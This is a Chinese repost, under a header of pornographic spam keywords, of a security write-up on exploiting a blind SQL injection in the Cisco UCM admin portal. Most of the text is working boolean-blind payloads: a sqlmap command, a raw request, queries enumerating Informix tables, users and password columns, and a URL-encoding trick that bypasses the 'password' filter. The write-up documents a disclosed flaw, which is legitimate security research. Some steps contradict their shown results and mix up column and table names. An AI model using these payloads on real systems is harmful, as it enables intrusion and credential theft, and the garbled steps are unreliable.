日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

sql 存储过程 盲注入_一次非常规 SQL 注入(informixsql)的利用过程

發(fā)布時(shí)間:2025/3/15 数据库 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sql 存储过程 盲注入_一次非常规 SQL 注入(informixsql)的利用过程 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

介紹

一個(gè)客戶正在尋找升級他們的思科 UCM 軟件,并希望保證他們的實(shí)現(xiàn)是安全配置的。在評估期間,我們在 Cisco UCM 管理員門戶中發(fā)現(xiàn)了一個(gè)經(jīng)過身份驗(yàn)證的 SQL 注入問題。在大多數(shù)情況下,可以使用 SQLMap 或其他工具來自動(dòng)發(fā)現(xiàn)問題。

由于我們是在客戶端的開發(fā)環(huán)境中進(jìn)行測試的,所以我們被允許對 Cisco UCM 執(zhí)行更積極的攻擊。我最初使用的 SQLMap 命令如下:

root@kali~# sqlmap --level=5 --risk=3 -r request.txt

請求文件包含以下內(nèi)容:

GET /ccmadmin/userGroupFindList.do?searchLimVal3=&searchLimVal4

=&whereClause=1*&searchLimVal1=&searchLimVal2=&searchLimVal7=&s

earchLimVal8=&searchLimVal5=&searchLimVal6=&rowsPerPageControl

=/ccmadmin/userGroupFindList.do?lookup=true&colCnt=4&searchLimV

al0=&lookup=true&rowsPerPage=50&searchLimVal9=&pageNumber=1&rec

Cnt=37&multiple=true HTTP/1.1

Host: Cookies: JSESSIONID=; com.cisco.ccm.admin.serv

lets.RequestToken.REQUEST_TOKEN_KEY=; JSESSIONIDSSO

=Accept: text/html

Connection: close

在讓 SQLMap 完成它所做的事情之后,我們發(fā)現(xiàn)了一個(gè)數(shù)據(jù)庫: Informix SQL。此外,注入方法為布爾型盲注。從那里,SQLMap 通??捎糜诿杜e底層數(shù)據(jù)庫,并可能獲得對密碼和敏感數(shù)據(jù)的訪問權(quán)。然而,在使用 SQLMap 執(zhí)行這些任務(wù)之后,遇到了一些問題:

·?SQLMap 能夠枚舉當(dāng)前表的名稱,但無法枚舉其他數(shù)據(jù)庫名稱和其他表名稱

·?SQLMap 能夠枚舉當(dāng)前的 SQL 用戶名,但是也報(bào)告了基礎(chǔ)數(shù)據(jù)庫的超過1000個(gè)用戶,并且不能枚舉其他999個(gè)用戶

·?SQLMap 無法枚舉“ applicationuser”表中與任何用戶密碼相關(guān)的任何信息

以下各章節(jié)將用來說明如何查明上述每個(gè)問題的根本原因以及如何克服這些問題。

Informix 速成課程

在繼續(xù)之前,我們對于學(xué)習(xí) Informix SQL 進(jìn)行了一些研究。

以下是關(guān)于“systables”表的一個(gè)簡單學(xué)習(xí):

·?Informix 在表“ systables”中保存所有表信息的記錄

·?“systables”中的不同列表示不同的信息,例如列“tabname”表示特定表的名稱,列“tabid”表示特定表的 ID 號

·?其他信息包括“ncols”列(表中的列數(shù))和列“nrows”是表中的行數(shù)

作為一個(gè)例子,讓我們假設(shè)一個(gè)表被命名為“yaytableyay”。要檢索“tabid”號,可以使用以下查詢:

SELECT tabid FROM systables WHERE tabname = ‘yaytableyay’

#Returned 54

進(jìn)一步說,如果我們想查找“yaytableyay”表中的行數(shù),我們可以進(jìn)行以下查詢:

SELECT nrows FROM systables WHERE tabid = 54

#Returned 15

以下是關(guān)于“syscolumns”表的一個(gè)簡單學(xué)習(xí):

·?Informix 保存每個(gè)表中所有列信息的記錄

·?“sysolumns”中的不同列表示不同的信息,例如列“colname”表示特定列的名稱,列“tabid”表示該列分配給哪個(gè)表

·?其他信息可以包括“colno”列,它是系統(tǒng)按順序從左到右分配的值

舉個(gè)例子,如果我們想找出表“yaytableyay”中第一列的名稱,可以執(zhí)行下面的查詢語句:

SELECT colname FROM syscolumns WHERE tabid = 54 AND colno = 1

#returned "yaycolumnnameyay"

此外,每個(gè)表都有一個(gè)名為“rowid”的隱藏列。此值分配給表中的每一行,但不會(huì)在刪除行時(shí)刪除。例如,下面的查詢不能返回任何數(shù)據(jù),原因是我們查詢的是之前刪除的行:

SELECT * FROM yaytableyay WHERE rowid = 1337

#Returned 0 results

還有一種可能是,某一行數(shù)據(jù)甚至從未存在過。這仍將迫使數(shù)據(jù)庫返回相同的結(jié)果也就是“0” ,就像行被刪除一樣。因此,當(dāng)使用“rowid”作為“ WHERE”子句時(shí),無法區(qū)分已刪除的行和從未存在的行。

枚舉其他表名

解決 SQLMap 問題(或者任何 web 應(yīng)用程序測試工具)的最佳方法之一是通過代理工具來解決流量問題。在這種情況下,通過 BurpSuite 代理 SQLMap 有助于我們解決問題,現(xiàn)在的問題是每當(dāng) SQLMap 被指示枚舉其他表名和數(shù)據(jù)庫名時(shí),服務(wù)器總是會(huì)響應(yīng)以下錯(cuò)誤之一:

·?ERROR: A subquery has returned not exactly one row.?(錯(cuò)誤: 子查詢返回的行不完全是一行)

·?ERROR: "NVL" cannot be used in a query(?錯(cuò)誤: “ NVL”不能在查詢中使用)

·?ERROR: "RTRIM" cannot be used in a query?(錯(cuò)誤: “ RTRIM”不能在查詢中使用)

·?ERROR: "LIMIT" cannot be used in a query?(錯(cuò)誤: “ LIMIT”不能在查詢中使用)

·?ERROR: "LENGTH" cannot be used in a query?(錯(cuò)誤: 查詢中不能使用“ LENGTH”)

第一個(gè)錯(cuò)誤“不只一行”是 Google 搜索到的,可以鏈接到 Informix 的文檔。其他錯(cuò)誤似乎是思科 UCM 本身內(nèi)置的一般性限制。考慮到這些錯(cuò)誤消息,似乎需要一個(gè)自定義腳本或工具來進(jìn)一步利用這個(gè)問題。

為了列舉每個(gè)表,我建立了一個(gè)工作流程:

·?計(jì)算出數(shù)據(jù)庫中存儲了多少個(gè)有效表

·?按字母枚舉每個(gè)表名的字母

·?枚舉每個(gè)表中有多少行和列

為了確定有效表的數(shù)量,我們使用了“tabid”值。具體來說,我們基于以下有效載荷執(zhí)行了一些“大于”和“小于”操作:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 1) > 1

如果每個(gè)表名的“tabid”值大于1,上述有效載荷將迫使服務(wù)器返回每個(gè)表名的首字母的 ASCII 值。這當(dāng)然會(huì)返回多個(gè)結(jié)果,因?yàn)榭隙ㄓ胁恢挂粋€(gè)表迫使服務(wù)器響應(yīng)另一個(gè)“Result is more than 1 column”錯(cuò)誤。然而,這是意料之中的,因?yàn)槟硞€(gè)東西返回的意思是某個(gè)東西存在。為了進(jìn)一步說明這一點(diǎn),以下面的有效載荷為例:

1=1 AND (SELECT ascii(substring(tabname for 1 from 1)) FROM systables WHERE tabid > 100) > 1

現(xiàn)在,我們正在尋找 tabid 值大于100的表。如果由于大于100的表格值不存在而導(dǎo)致表不存在,那么服務(wù)器將不會(huì)響應(yīng)任何數(shù)據(jù)。

基于這個(gè)行為,我們可以列舉底層數(shù)據(jù)庫中有多少個(gè)表:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 1) > 1

#returned "more than 1 row" error

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 100) > 1?

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 50) > 1?

#returned "more than 1 row" error

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 75) > 1?

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 65) > 1?

#returned "more than 1 row" error

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid > 74) > 1?

#returned "more than 1 row" error

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 75) > 1?

#returned no data

我們現(xiàn)在已經(jīng)確定當(dāng)前數(shù)據(jù)庫中的 tabid 數(shù)量為75個(gè)。

接下來,需要建立表名。使用 ASCII 值函數(shù)仍然是一種選擇,因此我們使用類似的邏輯來確定表的數(shù)量。下面的有效載荷將確定第一個(gè)表名的首字母的 ASCII 值是否大于64:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64

從這個(gè)行為,我們可以列舉出第一個(gè)字母是什么:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 96

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 112

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 104

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 100

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 102

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) = 101

#returned some data

基于上述結(jié)果,第一個(gè)表的第一個(gè)字母必須是101的 ASCII 值,也就是“ e”。

移到表名中的下一個(gè)字符,我們把:

tabname from 1 for 1

替換為:

tabname from 2 for 1

由此,我們可以列舉出第二個(gè)字母是什么:

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 64

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 96

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 112

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 104

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 108

#returned some data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 110

#returned no data

1=1 AND (SELECT ascii(substring(tabname from 1 for 1)) FROM systables WHERE tabid = 1) > 109

#returned some data

基于上述結(jié)果,第一個(gè)表的第一個(gè)字母的 ASCII 值必須是110,也就是‘ m’。

為了便于這篇博客文章的使用,上面例子中列舉的表是“empire”??梢允褂么朔椒杜e表的其余名稱。

在枚舉表名并將其與 tabid 值關(guān)聯(lián)之后,我們可以開始構(gòu)建一些列的信息。

下面的查詢可用于幫助確定表“empire”中有多少列:

1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 1

#returned no data

1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 2

#returned no data

1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 3

#returned no data

1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 4

#returned some data

1=1 AND (SELECT ncols FROM systables WHERE tabname = ‘empire’) = 5

#returned no data

下面的查詢可用于幫助找出“empire”表中第一列的名稱:

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 64

#returned some data

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 96

#returned no data

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 80

#returned no data

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 72

#returned some data

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 76

#returned no data

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) > 74

#returned some data

1=1 AND (SELECT ascii(substring(colname from 1 for 1)) FROM syscolumns WHERE tabid = 1 AND colno = 1) = 73

#returned some data

枚舉其他 SQL 用戶

當(dāng) SQLMap 試圖枚舉其他 SQL 用戶時(shí),使用了表“sysusers”。類似于本文中的“枚舉其他表”部分,當(dāng) SQLMap 試圖枚舉其他用戶時(shí),服務(wù)器將繼續(xù)以錯(cuò)誤響應(yīng)。

在上一節(jié)中,我們介紹了如何將“tabid”列用作可用于枚舉表的順序數(shù)字系統(tǒng)。在查找“sysusers”表是如何組織的之后,發(fā)現(xiàn)沒有可行的順序數(shù)字系統(tǒng)。根據(jù) IBM 的官方文檔,下面的列構(gòu)成了“sysusers”表:

·?username

·?usertype

·?priority

·?password

·?defrole

此時(shí),我們將隱藏列“rowid”用作 SQL 查詢的“WHERE”部分的一部分。下面的示例查詢可用于枚舉第一個(gè)用戶名的第一個(gè)字母的 ASCII 值,其中 rowid 為1:

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 1) > 1#returned data

在枚舉第一個(gè)用戶名之后,我們可以繼續(xù)枚舉基于“rowid”值的其他用戶名:

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 2) > 1

#returned data

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 3) > 1

#returned data

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 4) > 1

#returned data

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5) > 1

#returned data

當(dāng)“rowid”值達(dá)到5000時(shí),就變得有趣了:

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5000) > 1

#returned no data

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5001) > 1

#returned no data

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5002) > 1

#returned some data

為了幫助解決這個(gè)問題,當(dāng)我們找到一個(gè)有效的用戶時(shí),可以使用“systables”表中的“nrows”列來幫助建立。?這是因?yàn)椤皀rows”值是根據(jù)表中非空行的數(shù)量確定的。

下面的查詢可以幫助確定“sysusers”表中的行數(shù):

1=1 AND (SELECT nrows FROM systables WHERE tabname = ‘sysusers’) > 1#returned some data

使用這個(gè)查詢,我們可以確定“sysusers”表中包含數(shù)據(jù)的行數(shù)為1000:

1=1 AND (SELECT nrows FROM systables WHERE tabname = ‘sysusers’) = 1000#returned data

考慮到這一點(diǎn),我們可以開始使用‘rowid’和‘ncols’枚舉‘sysusers’表中的所有用戶名。通過遞增 rowid,我們可以遍歷查詢,每次查詢返回?cái)?shù)據(jù)時(shí),我們可以將 ncols 的值減少1:

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5000) > 1

#returned no data, ncols value is at 444

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5001) > 1

#returned no data, ncols value is at 444

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 5002) > 1

#returned data, ncols value is at 443

...

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7850) > 1

#returned data, ncols value is at 2

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7851) > 1

#returned data, ncols value is at 1

有了一組已知的非空行的 rowid,我們現(xiàn)在可以開始枚舉用戶名,而不必?zé)o限期地運(yùn)行任何自定義腳本:

1=1 AND (SELECT ascii(substring(username from 1 for 1)) FROM sysusers WHERE rowid = 7851) > 1#returned data

枚舉用戶密碼

如前所述,“sysusers”表包含一個(gè)名為“password”的行。我們還發(fā)現(xiàn),Cisco UCM 軟件利用表“applicationuser”存儲與 Cisco UCM 軟件有關(guān)的用戶,該軟件還包含一個(gè)“password”列。

使用前面討論過的技術(shù),應(yīng)該可以列舉出整個(gè)“app_users”表... 也就是說,直到我們執(zhí)行到下面的查詢:

1=1 AND (SELECT ascii(substring(password from 1 for 1)) FROM applicationuser WHERE rowid = 500) > 1

#returned error “Security Exception”

這是一個(gè)奇怪的錯(cuò)誤信息,而且谷歌搜不到這種錯(cuò)誤的解決辦法。經(jīng)過一些測試,我們確定服務(wù)器只有在用戶試圖枚舉任何表中的“password”列時(shí)才會(huì)響該錯(cuò)誤?;谶@個(gè)行為,我們假設(shè)這是應(yīng)用程序級別的黑名單關(guān)鍵字情況。

我們的猜測是對的!我所要做的就是對“password” 進(jìn)行 URL 編碼,以解決這個(gè)問題:

1=1 AND (SELECT ascii(substring(%70%61%73%73%77%6f%72%64 from 1 for 1)) FROM app_users WHERE rowid = 500) > 1

#returned data

自定義腳本

不能使用 SQL Map 來利用這個(gè)漏洞,因此我們采取創(chuàng)建兩個(gè)腳本來充分利用這個(gè)漏洞。因?yàn)檫@個(gè)漏洞需要對 Cisco UCM 管理控制臺的認(rèn)證訪問,所以這兩個(gè)腳本都要求用戶提交他們的會(huì)話 cookie。

·?sql_injection_enumerate_tables.py -枚舉數(shù)據(jù)庫中每個(gè)表的名稱,并將它們存儲在名為“cisco_tables.txt”的文件中。

·?sql_injection_extract_table.py - 讀取“cisco_tables”中的條目,并枚舉每個(gè)表?xiàng)l目的內(nèi)容

這兩個(gè)腳本都不會(huì)針對觸發(fā)安全警報(bào)的特定單詞進(jìn)行自動(dòng)編碼,比如“password”。建議通過 BurpSuite 或其他代理工具代理腳本,對可能觸發(fā)安全警報(bào)的單詞進(jìn)行URL 編碼。

供應(yīng)商補(bǔ)丁

本文中描述的技術(shù)用于枚舉思科 UCM 版本11.5.1.14900-11的整個(gè)數(shù)據(jù)庫。思科被告知這個(gè)問題后,補(bǔ)丁目前正在開發(fā)中。雙方商定2019年11月20日為聯(lián)合披露日期。

鏈接及參考資料

·?F-secure 對影響思科 UCM 某些安裝的這個(gè)問題的官方建議可以在這里找到:https://labs.f-secure.com/advisories/cisco-ucm-informix-sql-injection

·?為充分利用這個(gè)漏洞而開發(fā)的腳本可以在這里找到:https://github.com/FSecureLABS/Cisco-UCM-SQLi-Scripts

本文參考自:https://labs.f-secure.com/blog/uncommon-sql-database-alert-informix-sql-injection/

總結(jié)

以上是生活随笔為你收集整理的sql 存储过程 盲注入_一次非常规 SQL 注入(informixsql)的利用过程的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。